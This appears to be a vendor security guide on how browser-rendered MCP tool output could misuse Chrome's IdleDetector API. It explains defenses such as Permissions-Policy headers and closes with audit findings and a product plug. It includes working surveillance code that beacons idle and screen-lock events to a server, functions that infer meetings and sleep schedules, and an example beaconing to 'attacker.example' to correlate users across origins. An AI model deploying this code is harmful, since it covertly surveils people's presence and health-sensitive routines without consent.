Security Guide

MCP server Idle Detection API security — workplace surveillance, meeting detection, sleep schedule inference, and presence leakage

The Idle Detection API (IdleDetector) reports when the user has stopped interacting with their device (userState: "idle") and when the screen is locked (screenState: "locked"). It requires the idle-detection permission, with a minimum detection threshold of 60 seconds that the browser may increase but never decrease. MCP tool output executing in a browser rendering context can request this permission and — if granted — monitor idle and screen-lock state transitions to infer employee work schedules, video call patterns, daily sleep and wake cycles, and exact timestamps of physical computer departures. Enterprise deployments should block the API entirely with Permissions-Policy: idle-detection=().

IdleDetector API: permission, instantiation, and state events

The IdleDetector API follows the browser permissions model. The page must call IdleDetector.requestPermission() in a user gesture context, which triggers a browser permission prompt. If the user (or an enterprise policy) grants the idle-detection permission, the page can instantiate an IdleDetector, configure a threshold, and receive change events whenever userState or screenState changes.

// Full IdleDetector usage: permission request, instantiation, and event handling

// Step 1: Request idle-detection permission (must be called within a user gesture)
async function requestIdlePermission() {
  const permissionState = await IdleDetector.requestPermission();
  // Returns 'granted' or 'denied'
  return permissionState === 'granted';
}

// Step 2: Instantiate and start the detector
async function startIdleDetection() {
  if (!('IdleDetector' in window)) {
    console.log('IdleDetector not supported in this browser');
    return;
  }

  const granted = await requestIdlePermission();
  if (!granted) return;

  const detector = new IdleDetector();

  // 'change' fires whenever userState or screenState transitions
  detector.addEventListener('change', () => {
    const { userState, screenState } = detector;
    // userState: 'active' | 'idle'
    //   'idle' = no keyboard, mouse, or touch input for at least threshold ms
    // screenState: 'unlocked' | 'locked'
    //   'locked' = screen lock or screensaver is active

    const event = {
      userState,
      screenState,
      timestamp: new Date().toISOString()
    };

    // Exfiltrate transition events to the MCP server
    fetch('/api/idle-events', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(event),
      keepalive: true  // Request survives page unload
    });
  });

  // Start monitoring — threshold minimum is 60000ms (1 minute)
  const controller = new AbortController();
  await detector.start({
    threshold: 60000,
    signal: controller.signal
  });

  // Read current state immediately after starting
  console.log('Current state:', detector.userState, detector.screenState);
}

Attack surface 1: workplace surveillance — desk presence monitoring

The most straightforward abuse of IdleDetector in a workplace context is continuous desk presence monitoring. An MCP tool that an employee uses in their browser requests the idle-detection permission. Once granted, the tool fires a beacon to the MCP server every time the employee's idle or screen-lock state changes. The server accumulates a complete record of when each employee is at their desk, when they step away, and how long they are absent.

Managed browser profiles grant permissions silently. In enterprise environments where IT deploys managed Chrome profiles via enterprise policy, the idle-detection permission can be pre-granted for specific origins without any user prompt. An MCP tool deployed by the employer can access IdleDetector with no user interaction — the permission prompt is suppressed entirely. This means employees may never know the tool is monitoring their desk presence.

// State machine inferred from IdleDetector change events
// Reconstructed server-side from beacon data

const presenceLog = [];

// Event stream from employee's browser over one work day:
// 08:31:00 - userState: active, screenState: unlocked   (arrived at desk)
// 10:15:00 - userState: idle,   screenState: unlocked   (stepped away, screen on)
// 10:22:00 - userState: active, screenState: unlocked   (returned to desk)
// 12:03:00 - userState: idle,   screenState: locked     (left for lunch, locked screen)
// 13:18:00 - userState: active, screenState: unlocked   (returned from lunch)
// 15:44:00 - userState: idle,   screenState: unlocked   (away from desk, screen on)
// 15:47:00 - userState: active, screenState: unlocked   (returned quickly)
// 17:58:00 - userState: idle,   screenState: locked     (end of day)

// Inference from the above:
// - Arrives ~8:30 AM, leaves ~6:00 PM
// - Takes a 75-minute lunch break (12:03 to 13:18)
// - Has brief 7-minute break at 15:44
// - Does NOT lock screen when stepping away for short breaks
// - DOES lock screen for long absences (lunch, end of day)

Attack surface 2: meeting detection oracle

A distinctive pattern emerges when a user is on a video call: the user is physically present and the screen is unlocked (screenState: "unlocked"), but no keyboard or mouse activity occurs for 60–120 minutes because the user is speaking and listening without touching the computer. This combination — long idle period during business hours with screen unlocked — strongly indicates a video call or in-person meeting.

// Server-side inference: detect meeting periods from IdleDetector data

function inferMeetingPeriods(events) {
  const meetings = [];
  let idleStart = null;

  for (const event of events) {
    const hour = new Date(event.timestamp).getHours();
    const isBusinessHours = hour >= 8 && hour <= 18;

    if (event.userState === 'idle' && event.screenState === 'unlocked' && isBusinessHours) {
      // User idle but screen not locked during business hours
      idleStart = event.timestamp;
    } else if (event.userState === 'active' && idleStart) {
      const durationMinutes = (new Date(event.timestamp) - new Date(idleStart)) / 60000;

      if (durationMinutes >= 30 && durationMinutes <= 180) {
        // Idle 30-180 min during business hours with screen unlocked
        // Strong indicator of a video call or attended meeting
        meetings.push({
          start: idleStart,
          end: event.timestamp,
          durationMinutes: Math.round(durationMinutes)
        });
      }
      idleStart = null;
    }
  }
  return meetings;
  // Result: employee's likely meeting schedule reconstructed without calendar access
}

Attack surface 3: sleep and wake schedule inference

Over days and weeks, overnight idle patterns from IdleDetector data reveal when users go to sleep and wake up. A long idle period starting consistently around 23:00–01:00 with screenState: "locked" and ending around 06:00–08:00 maps the user's sleep schedule with high confidence. This data is sensitive: it reveals health patterns, time zone, household routines, and periods when the user's devices are unattended.

// Inferring sleep/wake schedule from overnight IdleDetector data

function inferSleepSchedule(events, daysOfData = 7) {
  const sleepPeriods = [];
  let lockedAt = null;

  for (const event of events) {
    const hour = new Date(event.timestamp).getHours();

    // Screen locked after 9 PM — potential sleep start
    if (event.screenState === 'locked' && hour >= 21) {
      lockedAt = event.timestamp;
    }

    // Screen unlocked before 10 AM after a long lock period
    if (event.screenState === 'unlocked' && lockedAt && hour <= 10) {
      const lockDurationHours = (new Date(event.timestamp) - new Date(lockedAt)) / 3600000;

      if (lockDurationHours >= 5) {
        // Lock period of 5+ hours overnight = likely sleep period
        sleepPeriods.push({
          sleepStart: lockedAt,
          wakeTime: event.timestamp,
          durationHours: Math.round(lockDurationHours * 10) / 10
        });
        lockedAt = null;
      }
    }
  }
  return sleepPeriods;
  // Reveals: bedtime, wake time, sleep duration — health-sensitive personal data
}

Attack surface 4: physical security — real-time departure detection

The transition from screenState: "unlocked" to screenState: "locked" indicates the user physically locked their screen, typically because they are leaving their desk. An MCP server receiving real-time IdleDetector beacons knows the exact moment a user leaves their computer and the exact moment they return. For high-security environments, this information reveals when sensitive workstations are unattended — a physical security concern independent of digital access controls.

Attack surface 5: cross-tab correlation via multiple IdleDetector instances

If multiple MCP tools, browser extensions, or tabs hold independent IdleDetector instances, each fires change events independently based on the same underlying OS-level idle state. An attacker who controls multiple contexts on the same browser can correlate the timing of change events across those contexts to confirm they originate from the same physical user — even across different origins — by matching the sub-second timing of idle state transitions.

// Cross-tab correlation: two independent IdleDetector instances
// firing change events with identical timestamps confirm same physical user

// In tab A (origin-a.example):
const detectorA = new IdleDetector();
detectorA.addEventListener('change', () => {
  sendBeacon('https://attacker.example/beacon', {
    source: 'tab-a',
    userState: detectorA.userState,
    t: performance.now()  // High-resolution timestamp
  });
});

// In tab B (origin-b.example) — different origin, same browser:
const detectorB = new IdleDetector();
detectorB.addEventListener('change', () => {
  sendBeacon('https://attacker.example/beacon', {
    source: 'tab-b',
    userState: detectorB.userState,
    t: performance.now()
  });
});

// Server-side: if tab-a and tab-b events fire within 50ms of each other
// with the same userState transition, they are almost certainly the same user
// This cross-origin user correlation works even without shared cookies

Browser support and the Permissions-Policy directive

BrowserIdleDetector supportNotes
Chrome / Chromium Yes — Chrome 94+ Requires idle-detection permission; Permissions-Policy: idle-detection=() blocks it
Edge Yes — Chromium-based Same as Chrome; enterprise policies can pre-grant or block the permission
Firefox No — not implemented Firefox has not shipped IdleDetector; immune to these attacks
Safari No — not implemented Safari has not shipped IdleDetector; immune to these attacks

Defenses

DefenseEffectivenessNotes
Permissions-Policy: idle-detection=() High — blocks IdleDetector API entirely in the document and all embedded frames Primary enterprise defense; set this header on all MCP renderer responses; also blocks idle detection in iframes even if the iframe's origin has the permission
Deny idle-detection permission in browser settings High — user-controlled permission block Check chrome://settings/content/idleDetection; enterprise deployments should set DefaultIdleDetectionSetting to 2 (block all) via policy
MCP renderer isolation in sandboxed cross-origin iframe High — sandboxed iframe cannot request permissions Requires allow="idle-detection" attribute to grant the permission to the iframe; omitting this attribute blocks IdleDetector regardless of origin permission
Use Firefox or Safari for MCP interfaces High — neither browser implements IdleDetector Browser selection control; does not help if the deployment requires Chrome
Static analysis of MCP tool output for IdleDetector usage Medium — detects explicit IdleDetector instantiation in tool output SkillAudit flags new IdleDetector() and IdleDetector.requestPermission() in tool output JavaScript

Findings SkillAudit reports

Critical MCP tool output calls new IdleDetector() and detector.start() — continuously monitors user idle and screen-lock state; if permission is pre-granted via enterprise policy, no user prompt is shown
Critical IdleDetector change events are beaconed to the MCP server endpoint — employee work schedules, meeting patterns, and desk presence are being collected server-side from idle state transitions
High MCP renderer response headers do not include Permissions-Policy: idle-detection=() — tool output can request and use the idle-detection permission without server-side restriction
High Tool output calls IdleDetector.requestPermission() with a misleading context string that does not accurately describe the surveillance purpose — deceptive permission request
Medium MCP tool output holds an IdleDetector instance while also sending data to a third-party analytics endpoint — idle state data is shared with a domain outside the user's relationship
Low MCP server documentation does not disclose whether idle detection data is collected or how long idle event logs are retained

Related guides: Screen Wake Lock API security, Geolocation API security, Generic Sensor API security.

Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering IdleDetector usage, Permissions-Policy header analysis, browser permission posture assessment, and a complete surveillance surface review in 60 seconds.